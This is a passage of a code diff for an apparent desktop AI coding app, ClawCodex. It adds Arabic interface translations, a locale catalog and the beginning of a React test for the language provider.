+      device_code: 'يفتح صفحة تحقق في المتصفح — يتصل ClawCodex تلقائياً',
+      loopback: 'يفتح المتصفح لتسجيل الدخول — يتصل ClawCodex تلقائياً',
+      external: 'سجل الدخول مرة واحدة في الطرفية ثم عد إلى المحادثة'
+    },
+    startingSignIn: provider => `جار بدء تسجيل الدخول لـ ${provider}...`,
+    verifyingCode: provider => `جار التحقق من الرمز عبر ${provider}...`,
+    connectedProvider: provider => `تم ربط ${provider}`,
+    connectedPicking: provider => `تم ربط ${provider}. جار اختيار نموذج افتراضي...`,
+    signInFailed: 'فشل تسجيل الدخول. حاول مرة أخرى.',
+    pickDifferentProvider: 'اختر مزوداً آخر',
+    signInWith: provider => `تسجيل الدخول عبر ${provider}`,
+    openedBrowser: provider => `فتحنا ${provider} في المتصفح.`,
+    authorizeThere: 'صرّح لـ ClawCodex هناك.',
+    copyAuthCode: 'انسخ رمز التفويض وألصقه أدناه.',
+    pasteAuthCode: 'ألصق رمز التفويض',
+    reopenAuthPage: 'إعادة فتح صفحة التفويض',
+    autoBrowser: provider => `فتحنا ${provider} في المتصفح. صرّح لـ ClawCodex هناك وسيتم الاتصال تلقائياً دون نسخ أو لصق.`,
+    reopenSignInPage: 'إعادة فتح صفحة تسجيل الدخول',
+    waitingAuthorize: 'بانتظار التفويض...',
+    externalPending: provider =>
+      `${provider} يسجل الدخول عبر أداة سطر الأوامر الخاصة به. شغّل هذا الأمر في الطرفية، ثم عد واختر "سجلت الدخول":`,
+    signedIn: 'سجلت الدخول',
+    deviceCodeOpened: provider => `فتحنا ${provider} في المتصفح. أدخل هذا الرمز هناك:`,
+    reopenVerification: 'إعادة فتح صفحة التحقق',
+    copy: 'نسخ',
+    defaultModel: 'النموذج الافتراضي',
+    freeTier: 'الطبقة المجانية',
+    pro: 'مدفوع',
+    free: 'مجاني',
+    price: (input, output) => `${input} إدخال / ${output} إخراج لكل مليون رمز`,
+    change: 'تغيير',
+    startChatting: 'ابدأ',
+    docs: provider => `وثائق ${provider}`
+  },
+  modelPicker: {
+    title: 'اختيار النموذج',
+    current: 'الحالي',
+    unknown: 'غير معروف',
+    search: 'البحث عن نموذج...',
+    noModels: 'لا توجد نماذج',
+    addProvider: 'إضافة مزود',
+    loadFailed: 'فشل تحميل النماذج',
+    noAuthenticatedProviders: 'لا توجد مزودات مصادق عليها',
+    pro: 'Pro',
+    proNeedsSubscription: 'يتطلب اشتراكا',
+    free: 'مجاني',
+    freeTier: 'طبقة مجانية',
+    priceTitle: 'السعر'
+  },
+  modelVisibility: {
+    title: 'النماذج',
+    search: 'بحث في النماذج',
+    noAuthenticatedProviders: 'لا يوجد مزوّدون مصادق عليهم.',
+    addProvider: 'إضافة مزوّد…'
+  },
+  shell: {
+    windowControls: 'تحكم النافذة',
+    paneControls: 'تحكم اللوحات',
+    appControls: 'تحكم التطبيق',
+    modelMenu: {
+      search: 'البحث عن نموذج...',
+      noModels: 'لا توجد نماذج',
+      editModels: 'تحرير النماذج',
+      refreshModels: 'تحديث النماذج',
+      fast: 'سريع'
+    },
+    modelOptions: {
+      noOptions: 'لا توجد خيارات لهذا النموذج',
+      options: 'الخيارات',
+      thinking: 'التفكير',
+      fast: 'سريع',
+      effort: 'الجهد',
+      minimal: 'أدنى',
+      low: 'منخفض',
+      medium: 'متوسط',
+      high: 'عالٍ',
+      max: 'أقصى',
+      updateFailed: 'فشل تحديث خيار النموذج',
+      fastFailed: 'فشل تحديث الوضع السريع'
+    },
+    gatewayMenu: {
+      gateway: 'البوابة',
+      connected: 'متصل',
+      connecting: 'جار الاتصال',
+      offline: 'غير متصل',
+      inferenceReady: 'الاستدلال جاهز',
+      inferenceNotReady: 'الاستدلال غير جاهز',
+      checkingInference: 'جار فحص الاستدلال',
+      disconnected: 'منقطع',
+      openSystem: 'فتح النظام',
+      connection: label => `الاتصال: ${label}`,
+      recentActivity: 'النشاط الأخير',
+      viewAllLogs: 'عرض كل السجلات',
+      messagingPlatforms: 'منصات المراسلة'
+    },
+    statusbar: {
+      unknown: 'غير معروف',
+      restart: 'إعادة تشغيل',
+      update: 'تحديث',
+      updateInProgress: 'التحديث جار',
+      commitsBehind: (count, branch) => `${count} commits خلف ${branch}`,
+      desktopVersion: version => `سطح المكتب ${version}`,
+      backendVersion: version => `الخلفية ${version}`,
+      clientLabel: version => `العميل ${version}`,
+      backendLabel: version => `الخلفية ${version}`,
+      commit: sha => `commit ${sha}`,
+      branch: branch => `الفرع ${branch}`,
+      closeCommandCenter: 'إغلاق مركز الأوامر',
+      openCommandCenter: 'فتح مركز الأوامر',
+      showTerminal: 'إظهار الطرفية',
+      hideTerminal: 'إخفاء الطرفية',
+      gateway: 'البوابة',
+      gatewayReady: 'البوابة جاهزة',
+      gatewayNeedsSetup: 'البوابة تحتاج إعدادا',
+      gatewayChecking: 'جار فحص البوابة',
+      gatewayConnecting: 'جار اتصال البوابة',
+      gatewayOffline: 'البوابة غير متصلة',
+      gatewayRestarting: 'جار إعادة التشغيل...',
+      gatewayTitle: 'البوابة',
+      agents: 'الوكلاء',
+      closeAgents: 'إغلاق الوكلاء',
+      openAgents: 'فتح الوكلاء',
+      subagents: count => `${count} وكيل فرعي`,
+      failed: count => `${count} فشل`,
+      running: count => `${count} يعمل`,
+      cron: 'المهام',
+      openCron: 'فتح المهام المجدولة',
+      turnRunning: 'الدور يعمل',
+      contextUsage: 'استخدام السياق',
+      session: 'الجلسة',
+      yoloOn: 'YOLO مفعل',
+      yoloOff: 'YOLO معطل',
+      modelNone: 'لا نموذج',
+      noModel: 'لا يوجد نموذج',
+      switchModel: 'تبديل النموذج',
+      openModelPicker: 'فتح اختيار النموذج',
+      modelPinned: 'النموذج مثبت',
+      modelTitle: (provider, model) => `${provider}: ${model}`,
+      providerModelTitle: (provider, model) => `${provider}: ${model}`
+    }
+  },
+  rightSidebar: {
+    aria: 'الشريط الجانبي الأيمن',
+    panelsAria: 'لوحات الشريط الأيمن',
+    files: 'الملفات',
+    terminal: 'الطرفية',
+    noFolderSelected: 'لم يتم اختيار مجلد',
+    changeCwdTitle: 'تغيير مجلد العمل',
+    remotePickerTitle: 'اختر مجلدا بعيدا',
+    remotePickerDescription: 'استعرض المجلدات على الخادم الخلفي المتصل.',
+    remotePickerSelect: 'تحديد المجلد',
+    folderTip: cwd => cwd,
+    openFolder: 'فتح مجلد',
+    refreshTree: 'تحديث الشجرة',
+    collapseAll: 'طي الكل',
+    previewUnavailable: 'المعاينة غير متاحة',
+    couldNotPreview: path => `تعذرت معاينة ${path}`,
+    noProjectTitle: 'لا يوجد مشروع',
+    noProjectBody: 'اختر مجلد عمل لعرض الملفات.',
+    noProjectOpen: 'لا يوجد مشروع مفتوح',
+    noDiffs: 'لا توجد فروقات',
+    unreadableTitle: 'تعذر قراءة المجلد',
+    unreadableBody: error => `السبب: ${error}`,
+    emptyTitle: 'المجلد فارغ',
+    emptyBody: 'لا توجد ملفات للعرض.',
+    treeErrorTitle: 'فشل تحميل شجرة الملفات',
+    treeErrorBody: 'حاول التحديث أو اختر مجلدا آخر.',
+    tryAgain: 'حاول مرة أخرى',
+    loadingTree: 'جار تحميل الشجرة...',
+    loadingFiles: 'جار تحميل الملفات...',
+    terminalHide: 'إخفاء الطرفية',
+    addToChat: 'إضافة للمحادثة'
+  },
+  preview: {
+    tab: 'معاينة',
+    closePane: 'إغلاق جزء المعاينة',
+    loading: 'جار تحميل المعاينة',
+    unavailable: 'المعاينة غير متاحة',
+    opening: 'جار الفتح...',
+    hide: 'إخفاء',
+    openPreview: 'فتح المعاينة',
+    openInBrowser: 'فتح في المتصفح',
+    linkHint: '⌘/Ctrl-نقر لجزء المعاينة',
+    sourceLineTitle: 'انقر للتحديد · shift-نقر للتوسيع · اسحب إلى المُنشئ',
+    source: 'المصدر',
+    renderedPreview: 'المعاينة',
+    diff: 'الفرق',
+    unknownSize: 'حجم غير معروف',
+    binaryTitle: 'يبدو هذا ملفا ثنائيا',
+    binaryBody: label => `قد تعرض معاينة ${label} نصا غير قابل للقراءة.`,
+    largeTitle: 'هذا الملف كبير',
+    largeBody: (label, size) => `حجم ${label} هو ${size}. سيعرض ClawCodex أول 512 KB فقط.`,
+    previewAnyway: 'معاينة على أي حال',
+    truncated: 'عرض أول 512 KB.',
+    noInlineTitle: 'لا توجد معاينة مضمّنة',
+    noInlineBody: mimeType => `${mimeType || 'هذا النوع من الملفات'} لا يزال بالإمكان إرفاقه كسياق.`,
+    edit: 'تحرير',
+    editing: 'جار التحرير',
+    unsavedChanges: 'تغييرات غير محفوظة',
+    saveFailed: message => `تعذّر الحفظ: ${message}`,
+    diskChangedTitle: 'تغيّر الملف على القرص',
+    diskChangedBody: 'تغيّر هذا الملف منذ أن فتحته. هل تريد الكتابة فوقه بنسختك، أم تجاهل تعديلاتك وإعادة التحميل؟',
+    overwrite: 'الكتابة فوقه',
+    discardReload: 'تجاهل وإعادة التحميل',
+    console: {
+      deselect: 'إلغاء تحديد الإدخال',
+      select: 'تحديد الإدخال',
+      copyFailed: 'تعذّر نسخ مخرجات الكونسول',
+      copyEntry: 'نسخ هذا الإدخال',
+      sendEntry: 'إرسال هذا الإدخال إلى المحادثة',
+      messages: count => `${count} رسائل كونسول`,
+      resize: 'تغيير حجم كونسول المعاينة',
+      title: 'كونسول المعاينة',
+      selected: count => `${count} محدد`,
+      sendToChat: 'إرسال إلى المحادثة',
+      copySelected: 'نسخ المحدد إلى الحافظة',
+      copyAll: 'نسخ الكل إلى الحافظة',
+      copy: 'نسخ',
+      clear: 'مسح',
+      empty: 'لا توجد رسائل كونسول بعد.',
+      promptHeader: 'كونسول المعاينة:',
+      sentTitle: 'تم الإرسال إلى المحادثة',
+      sentMessage: count => `أُضيف ${count} ${count === 1 ? 'إدخال سجل' : 'إدخالات سجل'} إلى المُنشئ`
+    },
+    web: {
+      appFailedToBoot: 'فشل إقلاع تطبيق المعاينة',
+      serverNotFound: 'الخادم غير موجود',
+      failedToLoad: 'فشل تحميل المعاينة',
+      tryAgain: 'إعادة المحاولة',
+      restarting: 'جار إعادة تشغيل ClawCodex...',
+      askRestart: 'اطلب من ClawCodex إعادة تشغيل الخادم',
+      lookingRestart: taskId => `يبحث ClawCodex عن خادم معاينة لإعادة تشغيله (${taskId})`,
+      restartingTitle: 'جار إعادة تشغيل خادم المعاينة',
+      restartingMessage: 'يعمل ClawCodex في الخلفية. راقب كونسول المعاينة لمتابعة التقدم.',
+      startRestartFailed: message => `تعذّر بدء إعادة تشغيل الخادم: ${message}`,
+      restartFailed: 'فشلت إعادة تشغيل الخادم',
+      hideConsole: 'إخفاء كونسول المعاينة',
+      showConsole: 'إظهار كونسول المعاينة',
+      hideDevTools: 'إخفاء DevTools المعاينة',
+      openDevTools: 'فتح DevTools المعاينة',
+      finishedRestarting: message => `أنهى ClawCodex إعادة تشغيل خادم المعاينة${message ? `: ${message}` : ''}`,
+      failedRestarting: message => `فشلت إعادة تشغيل الخادم: ${message}`,
+      unknownError: 'خطأ غير معروف',
+      restartedTitle: 'تمت إعادة تشغيل خادم المعاينة',
+      reloadingNow: 'جار إعادة تحميل المعاينة الآن.',
+      restartFailedTitle: 'فشلت إعادة تشغيل المعاينة',
+      restartFailedMessage: 'تعذّر على ClawCodex إعادة تشغيل الخادم.',
+      stillWorking:
+        'لا يزال ClawCodex يعمل، لكن لم تصل نتيجة إعادة التشغيل بعد. قد يكون أمر الخادم قيد التشغيل في المقدمة.',
+      workspaceReloading: 'تغيّرت مساحة العمل، جار إعادة تحميل المعاينة',
+      fileChanged: url => `تغيّر الملف، جار إعادة تحميل المعاينة: ${url}`,
+      filesChanged: (count, url) => `${count} تغييرات ملفات، جار إعادة تحميل المعاينة: ${url}`,
+      watchFailed: message => `تعذّر مراقبة ملف المعاينة: ${message}`,
+      moduleMimeDescription:
+        'يتم تقديم نصوص الوحدات بنوع MIME خاطئ. عادة ما يعني هذا أن خادم ملفات ثابتة يقدّم تطبيق Vite/React بدلا من خادم تطوير المشروع.',
+      loadFailedConsole: (code, message) => `فشل التحميل${code ? ` (${code})` : ''}: ${message}`,
+      unreachableDescription: 'تعذّر الوصول إلى صفحة المعاينة.',
+      openTarget: url => `فتح ${url}`,
+      fallbackTitle: 'معاينة'
+    }
+  },
+  zones: {
+    showHeader: 'إظهار الرأس',
+    hideHeader: 'إخفاء الرأس',
+    minimize: 'تصغير',
+    restore: 'استعادة',
+    closeRunningTitle: 'إغلاق تبويب يعمل؟',
+    closeRunningBody:
+      'هذه المحادثة ما زالت تعمل (أو تنتظر إدخالك). إغلاق التبويب يخفيها فقط — ستحتفظ الجلسة بتقدمها ويمكن إعادة فتحها من الشريط الجانبي.',
+    closeRunningConfirm: 'إغلاق التبويب',
+    reload: 'إعادة التحميل',
+    closeOthers: 'إغلاق الأخرى',
+    closeToRight: 'إغلاق ما على اليمين',
+    closeAll: 'إغلاق الكل',
+    pluginDisabled: pluginId => `الإضافة "${pluginId}" معطلة`,
+    pluginDisabledBody: 'أعد تفعيلها من الإعدادات ← الإضافات لإرجاع اللوحة.',
+    missingPane: paneId => `لوحة مفقودة: ${paneId}`,
+    editTitle: 'التخطيطات',
+    editHint: 'اختر تخطيطا، أو اسحب اللوحات بين المناطق.',
+    reset: 'إعادة ضبط',
+    templates: 'القوالب',
+    custom: 'مخصص',
+    newGridLayout: 'تخطيط شبكة جديد',
+    saveCurrentAs: 'حفظ الترتيب الحالي كقالب',
+    nameLayoutPlaceholder: 'سم هذا التخطيط...',
+    deletePreset: name => `حذف ${name}`,
+    zoneEditorTitle: 'محرر المناطق',
+    editorHintPre: 'انقر للتقسيم · ',
+    editorHintPost: ' يعكس الخط · اسحب عبر المناطق للدمج · اسحب الحواف المشتركة لتغيير الحجم',
+    templateColumns: 'أعمدة',
+    templateRows: 'صفوف',
+    templateGrid: 'شبكة',
+    templatePriority: 'أولوية',
+    zoneTag: index => `منطقة ${index}`,
+    mergeZones: count => `دمج ${count} مناطق`,
+    customZoneName: count => `مخصص من ${count} مناطق`,
+    layoutNamePlaceholder: fallback => `اسم التخطيط (${fallback})`,
+    saveApply: 'حفظ وتطبيق',
+    notExpressible: 'هذا الترتيب متشابك — لا يمكن تمثيله كتقسيمات متداخلة بعد',
+    zoneCount: count => `${count} مناطق`,
+    tabCount: count => `${count} تبويبات`
+  },
+  assistant: {
+    thread: {
+      loadingSession: 'جار تحميل الجلسة...',
+      showEarlier: 'عرض الرسائل الأقدم',
+      loadingResponse: 'جار تحميل الرد...',
+      resumeWhenBackgroundDone: count =>
+        count === 1 ? 'سيُستأنف عند انتهاء المهمة الخلفية' : `سيُستأنف عند انتهاء ${count} مهام خلفية`,
+      thinking: 'يفكر...',
+      thought: 'فكّر',
+      thoughtBriefly: 'فكّر قليلاً',
+      thoughtFor: duration => `فكّر لمدة ${duration}`,
+      today: time => `اليوم ${time}`,
+      yesterday: time => `أمس ${time}`,
+      copy: 'نسخ',
+      refresh: 'تحديث',
+      moreActions: 'إجراءات إضافية',
+      branchNewChat: 'تفريع إلى محادثة جديدة',
+      react: 'تفاعل',
+      dismissError: 'تجاهل الخطأ',
+      filesChanged: count => `${count} ملفات تم تغييرها`,
+      reviewChanges: 'مراجعة',
+      readAloudFailed: 'فشلت القراءة بصوت عال',
+      preparingAudio: 'جار تجهيز الصوت',
+      stopReading: 'إيقاف القراءة',
+      readAloud: 'قراءة بصوت عال',
+      editMessage: 'تحرير الرسالة',
+      scrollToBottom: 'التمرير إلى الأسفل',
+      stop: 'إيقاف',
+      restorePrevious: 'استعادة السابق',
+      restoreCheckpoint: 'استعادة النقطة',
+      restoreFromHere: 'استعادة نقطة التحقق — إعادة التشغيل من هذا الموجّه',
+      restoreTitle: 'الاستعادة إلى نقطة التحقق هذه؟',
+      restoreBody: 'يُزال كل ما يلي هذا الموجّه من المحادثة، ويُعاد تشغيل الموجّه من هنا.',
+      restoreConfirm: 'استعادة وإعادة تشغيل',
+      restoreNext: 'استعادة التالي',
+      goForward: 'تقدم',
+      sendEdited: 'إرسال التعديل',
+      attachingFile: 'جار إرفاق الملف'
+    },
+    approval: {
+      gatewayDisconnected: 'البوابة غير متصلة',
+      sendFailed: 'فشل الإرسال',
+      run: 'تشغيل',
+      command: 'الأمر',
+      moreOptions: 'خيارات إضافية',
+      allowSession: 'السماح لهذه الجلسة',
+      alwaysAllowMenu: 'السماح دائما',
+      jumpToApproval: 'الموافقة مطلوبة',
+      reject: 'رفض',
+      alwaysTitle: 'السماح دائما',
+      alwaysDescription: pattern => `السماح دائما بالأوامر المطابقة لـ ${pattern}`,
+      alwaysAllow: 'السماح دائما'
+    },
+    clarify: {
+      notReady: 'غير جاهز',
+      gatewayDisconnected: 'البوابة غير متصلة',
+      sendFailed: 'فشل الإرسال',
+      loadingQuestion: 'جار تحميل السؤال...',
+      other: 'غير ذلك',
+      placeholder: 'اكتب إجابتك...',
+      skip: 'تخطي',
+      continueLabel: 'متابعة'
+    },
+    tool: {
+      copyCode: 'نسخ الكود',
+      renderingImage: 'جار عرض الصورة...',
+      copyOutput: 'نسخ الإخراج',
+      copyCommand: 'نسخ الأمر',
+      copyContent: 'نسخ المحتوى',
+      copyUrl: 'نسخ الرابط',
+      copyResults: 'نسخ النتائج',
+      copyQuery: 'نسخ الاستعلام',
+      copyFile: 'نسخ الملف',
+      copyPath: 'نسخ المسار',
+      outputAlt: 'إخراج الأداة',
+      rawResponse: 'الرد الخام',
+      copyActivity: 'نسخ النشاط',
+      recoveredOne: 'تم الاسترداد',
+      recoveredMany: count => `تم استرداد ${count}`,
+      failedOne: 'فشل',
+      failedMany: count => `فشل ${count}`,
+      statusRunning: 'يعمل',
+      statusError: 'خطأ',
+      statusRecovered: 'تم الاسترداد',
+      statusDone: 'تم',
+      memoryWriteNoted: 'تم تسجيل كتابة الذاكرة',
+      actions: {
+        read: 'قراءة',
+        reading: 'جار القراءة',
+        opened: 'تم الفتح',
+        opening: 'جار الفتح',
+        searched: 'تم البحث',
+        searching: 'جار البحث',
+        ran: 'تم التشغيل',
+        running: 'جار التشغيل',
+        ranCode: 'تم تشغيل الكود',
+        runningCode: 'جار البرمجة'
+      },
+      prefixes: {
+        browser: 'المتصفح',
+        web: 'الويب'
+      },
+      titleTemplates: {
+        actionCommand: (action, command) => `${action} ${command}`,
+        actionQuoted: (action, value) => `${action} “${value}”`,
+        actionTarget: (action, target) => `${action} ${target}`,
+        prefixedDone: (prefix, action) => `${prefix} ${action}`,
+        runningPrefixedTool: (prefix, action) => `جار تشغيل ${prefix.toLowerCase()} ${action.toLowerCase()}`,
+        runningTool: action => `جار تشغيل ${action.toLowerCase()}`
+      },
+      titles: {
+        browser_click: {
+          done: 'تم النقر على عنصر الصفحة',
+          pending: 'جار النقر على عنصر الصفحة',
+          pendingAction: 'جار النقر'
+        },
+        browser_fill: {
+          done: 'تم ملء حقل النموذج',
+          pending: 'جار ملء حقل النموذج',
+          pendingAction: 'جار الملء'
+        },
+        browser_navigate: {
+          done: 'تم فتح الصفحة',
+          pending: 'جار فتح الصفحة',
+          pendingAction: 'جار الفتح'
+        },
+        browser_snapshot: {
+          done: 'تم التقاط لقطة الصفحة',
+          pending: 'جار التقاط لقطة الصفحة',
+          pendingAction: 'جار الالتقاط'
+        },
+        browser_take_screenshot: {
+          done: 'تم التقاط لقطة الشاشة',
+          pending: 'جار التقاط لقطة الشاشة',
+          pendingAction: 'جار الالتقاط'
+        },
+        browser_type: {
+          done: 'تمت الكتابة على الصفحة',
+          pending: 'جار الكتابة على الصفحة',
+          pendingAction: 'جار الكتابة'
+        },
+        clarify: {
+          done: 'تم طرح سؤال',
+          pending: 'جار طرح سؤال',
+          pendingAction: 'جار السؤال'
+        },
+        cronjob: {
+          done: 'مهمة مجدولة',
+          pending: 'جار جدولة المهمة',
+          pendingAction: 'جار الجدولة'
+        },
+        edit_file: {
+          done: 'تم تحرير الملف',
+          pending: 'جار تحرير الملف',
+          pendingAction: 'جار التحرير'
+        },
+        execute_code: {
+          done: 'تم تشغيل الكود',
+          pending: 'جار البرمجة',
+          pendingAction: 'جار البرمجة'
+        },
+        image_generate: {
+          done: 'تم إنشاء الصورة',
+          pending: 'جار إنشاء الصورة',
+          pendingAction: 'جار الإنشاء'
+        },
+        list_files: {
+          done: 'تم سرد الملفات',
+          pending: 'جار سرد الملفات',
+          pendingAction: 'جار السرد'
+        },
+        memory: {
+          done: 'تم الحفظ في الذاكرة',
+          pending: 'جار الحفظ في الذاكرة',
+          pendingAction: 'جار الحفظ'
+        },
+        patch: {
+          done: 'تم تصحيح الملف',
+          pending: 'جار تصحيح الملف',
+          pendingAction: 'جار التصحيح'
+        },
+        read_file: {
+          done: 'تمت قراءة الملف',
+          pending: 'جار قراءة الملف',
+          pendingAction: 'جار القراءة'
+        },
+        search_files: {
+          done: 'تم البحث في الملفات',
+          pending: 'جار البحث في الملفات',
+          pendingAction: 'جار البحث'
+        },
+        session_search_recall: {
+          done: 'تم البحث في سجل الجلسة',
+          pending: 'جار البحث في سجل الجلسة',
+          pendingAction: 'جار البحث'
+        },
+        terminal: {
+          done: 'تم تشغيل الأمر',
+          pending: 'جار تشغيل الأمر',
+          pendingAction: 'جار التشغيل'
+        },
+        todo: {
+          done: 'تم تحديث المهام',
+          pending: 'جار تحديث المهام',
+          pendingAction: 'جار التحديث'
+        },
+        vision_analyze: {
+          done: 'تم تحليل الصورة',
+          pending: 'جار تحليل الصورة',
+          pendingAction: 'جار التحليل'
+        },
+        web_extract: {
+          done: 'تمت قراءة صفحة الويب',
+          pending: 'جار قراءة صفحة الويب',
+          pendingAction: 'جار القراءة'
+        },
+        web_search: {
+          done: 'تم البحث في الويب',
+          pending: 'جار البحث في الويب',
+          pendingAction: 'جار البحث'
+        },
+        write_file: {
+          done: 'تم تحرير الملف',
+          pending: 'جار تحرير الملف',
+          pendingAction: 'جار التحرير'
+        }
+      }
+    }
+  },
+  prompts: {
+    gatewayDisconnected: 'البوابة غير متصلة',
+    sudoSendFailed: 'فشل إرسال كلمة مرور sudo',
+    secretSendFailed: 'فشل إرسال السر',
+    sudoTitle: 'مطلوب sudo',
+    sudoDesc: 'أدخل كلمة المرور لمتابعة الأمر.',
+    sudoPlaceholder: 'كلمة المرور',
+    secretTitle: 'مطلوب سر',
+    secretDesc: 'أدخل القيمة المطلوبة لمتابعة المهمة.',
+    secretPlaceholder: 'القيمة السرية'
+  },
+  desktop: {
+    audioReadFailed: 'فشلت قراءة الصوت',
+    sessionUnavailable: 'الجلسة غير متاحة',
+    createSessionFailed: 'فشل إنشاء الجلسة',
+    promptFailed: 'فشل إرسال الرسالة',
+    providerCredentialRequired: 'مطلوب اعتماد المزود',
+    emptySlashCommand: 'أمر slash فارغ',
+    desktopCommands: 'أوامر سطح المكتب',
+    skillCommandsAvailable: count => `${count} أمر مهارة متاح`,
+    warningLine: message => `تحذير: ${message}`,
+    yoloArmed: 'YOLO مفعل',
+    yoloOff: 'YOLO معطل',
+    yoloSystem: active => (active ? 'YOLO مفعل للنظام' : 'YOLO معطل للنظام'),
+    yoloTitle: 'وضع YOLO',
+    yoloToggleFailed: 'فشل تبديل YOLO',
+    profileStatus: current => `الملف الحالي: ${current}`,
+    unknownProfile: 'ملف شخصي غير معروف',
+    noProfileNamed: (target, available) => `لا يوجد ملف باسم ${target}. المتاح: ${available}`,
+    newChatsProfile: name => `المحادثات الجديدة تستخدم ${name}`,
+    setProfileFailed: 'فشل ضبط الملف الشخصي',
+    sttDisabled: 'تحويل الكلام إلى نص معطل',
+    stopFailed: 'فشل الإيقاف',
+    regenerateFailed: 'فشلت إعادة التوليد',
+    editFailed: 'فشل التحرير',
+    resumeFailed: 'فشل الاستئناف',
+    resumeStrandedTitle: 'تعذّر تحميل هذه الجلسة',
+    resumeStrandedBody:
+      'فشل الاتصال بهذه الجلسة وتوقفت إعادة المحاولة التلقائية. تأكد من تشغيل البوابة، ثم حاول مجددا.',
+    resumeRetry: 'إعادة المحاولة',
+    nothingToBranch: 'لا يوجد ما يمكن تفريعه',
+    branchNeedsChat: 'يحتاج التفريع إلى محادثة',
+    sessionBusy: 'الجلسة مشغولة',
+    branchStopCurrent: 'أوقف الدور الحالي قبل التفريع',
+    branchNoText: 'لا يوجد نص للتفريع',
+    branchTitle: n => `مسودة: تفريع #${n}`,
+    branchFailed: 'فشل التفريع',
+    deleteFailed: 'فشل الحذف',
+    archived: 'تمت الأرشفة',
+    archiveFailed: 'فشلت الأرشفة',
+    cwdChangeFailed: 'فشل تغيير مجلد العمل',
+    cwdStagedTitle: 'تم تجهيز مجلد العمل',
+    cwdStagedMessage: 'سيطبق مجلد العمل على الرسالة التالية.',
+    modelSwitchFailed: 'فشل تبديل النموذج',
+    sessionExported: 'تم تصدير الجلسة',
+    sessionExportFailed: 'فشل تصدير الجلسة',
+    imageSaved: 'تم حفظ الصورة',
+    downloadStarted: 'بدأ التنزيل',
+    restartToUseSaveImage: 'أعد التشغيل لاستخدام حفظ الصور',
+    restartToSaveImages: 'أعد التشغيل لحفظ الصور',
+    imageDownloadFailed: 'فشل تنزيل الصورة',
+    openImage: 'فتح الصورة',
+    downloadImage: 'تنزيل الصورة',
+    savingImage: 'جار حفظ الصورة',
+    imagePreviewFailed: 'فشلت معاينة الصورة',
+    imageAttach: 'إرفاق الصورة',
+    imageWriteFailed: 'فشل كتابة الصورة',
+    imageAttachFailed: 'فشل إرفاق الصورة',
+    attachImages: 'إرفاق الصور',
+    clipboard: 'الحافظة',
+    noClipboardImage: 'لا توجد صورة في الحافظة',
+    clipboardPasteFailed: 'فشل اللصق من الحافظة',
+    dropFiles: 'أفلت الملفات هنا',
+    handoff: {
+      pickPlatform: 'اختر وجهة',
+      success: platform => `تم التسليم إلى ${platform}. استأنف هنا في أي وقت.`,
+      systemNote: platform => `↻ تم التسليم إلى ${platform} — استأنف هنا في أي وقت.`,
+      failed: error => `فشل التسليم: ${error}`,
+      timedOut: 'انتهت المهلة في انتظار البوابة. هل `clawcodex gateway` قيد التشغيل؟'
+    }
+  },
+  errors: {
+    genericFailure: 'حدث خطأ',
+    boundaryTitle: 'تعطل جزء من الواجهة',
+    boundaryDesc: 'يمكنك إعادة تحميل النافذة أو فتح السجلات لمعرفة التفاصيل.',
+    reloadWindow: 'إعادة تحميل النافذة',
+    openLogs: 'فتح السجلات'
+  },
+  ui: {
+    search: {
+      clear: 'مسح البحث'
+    },
+    pagination: {
+      label: 'ترقيم الصفحات',
+      previous: 'السابق',
+      previousAria: 'الصفحة السابقة',
+      next: 'التالي',
+      nextAria: 'الصفحة التالية'
+    },
+    sidebar: {
+      title: 'الشريط الجانبي',
+      description: 'تنقل التطبيق',
+      toggle: open => `${open ? 'إظهار' : 'إخفاء'} الشريط الجانبي`
+    }
+  }
+})
diff --git a/ui-desktop/src/i18n/catalog.ts b/ui-desktop/src/i18n/catalog.ts
new file mode 100644
index 000000000..f35c95707
--- /dev/null
+++ b/ui-desktop/src/i18n/catalog.ts
@@ -0,0 +1,14 @@
+import { ar } from './ar'
+import { en } from './en'
+import { ja } from './ja'
+import type { Locale, Translations } from './types'
+import { zh } from './zh'
+import { zhHant } from './zh-hant'
+
+export const TRANSLATIONS: Record<Locale, Translations> = {
+  en,
+  zh,
+  'zh-hant': zhHant,
+  ja,
+  ar
+}
diff --git a/ui-desktop/src/i18n/context.test.tsx b/ui-desktop/src/i18n/context.test.tsx
new file mode 100644
index 000000000..20543f6c9
--- /dev/null
+++ b/ui-desktop/src/i18n/context.test.tsx
@@ -0,0 +1,250 @@
+import { cleanup, fireEvent, render, screen, waitFor } from '@testing-library/react'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+
+import type { ClawCodexConfigRecord } from '@/clawcodex'
+
+import { type I18nConfigClient, I18nProvider, useI18n } from './context'
+import type { Locale } from './types'
+
+function LanguageProbe({ target = 'zh' }: { target?: Locale }) {
+  const { isLoadingConfig, isSavingLocale, locale, saveError, setLocale, t } = useI18n()
+
+  return (
+    <div>
+      <p data-testid="locale">{locale}</p>
+      <p data-testid="label">{t.language.label}</p>
+      <p data-testid="save">{t.common.save}</p>
+      <p data-testid="loading">{String(isLoadingConfig)}</p>
+      <p data-testid="saving">{String(isSavingLocale)}</p>
+      <p data-testid="save-error">{saveError?.message ?? ''}</p>
+      <button onClick={() => void setLocale(target).catch(() => undefined)} type="button">
+        switch
+      </button>
+    </div>
+  )
+}
+
+describe('I18nProvider', () => {
+  afterEach(() => {
+    cleanup()
+    vi.restoreAllMocks()
+  })
+
+  it('defaults to English without a config client', () => {
+    render(
+      <I18nProvider configClient={null}>
+        <LanguageProbe />
+      </I18nProvider>
+    )
+
+    expect(screen.getByTestId('locale').textContent).toBe('en')
+    expect(screen.getByTestId('label').textContent).toBe('Language')
+  })
+
+  it('normalizes an initial locale alias and switches translations', async () => {
+    render(
+      <I18nProvider configClient={null} initialLocale="zh-CN">
+        <LanguageProbe target="en" />
+      </I18nProvider>
+    )
+
+    expect(screen.getByTestId('locale').textContent).toBe('zh')
+    expect(screen.getByTestId('label').textContent).toBe('语言')
+
+    fireEvent.click(screen.getByRole('button', { name: 'switch' }))
+
+    await waitFor(() => expect(screen.getByTestId('locale').textContent).toBe('en'))
+    expect(screen.getByTestId('label').textContent).toBe('Language')
+  })
+
+  it('loads the initial locale from display.language config', async () => {
+    const configClient: I18nConfigClient = {
+      getConfig: vi.fn().mockResolvedValue({ display: { language: 'zh-Hans' } }),
+      saveConfig: vi.fn()
+    }
+
+    render(
+      <I18nProvider configClient={configClient}>
+        <LanguageProbe />
+      </I18nProvider>
+    )
+
+    await waitFor(() => expect(screen.getByTestId('loading').textContent).toBe('false'))
+
+    expect(screen.getByTestId('locale').textContent).toBe('zh')
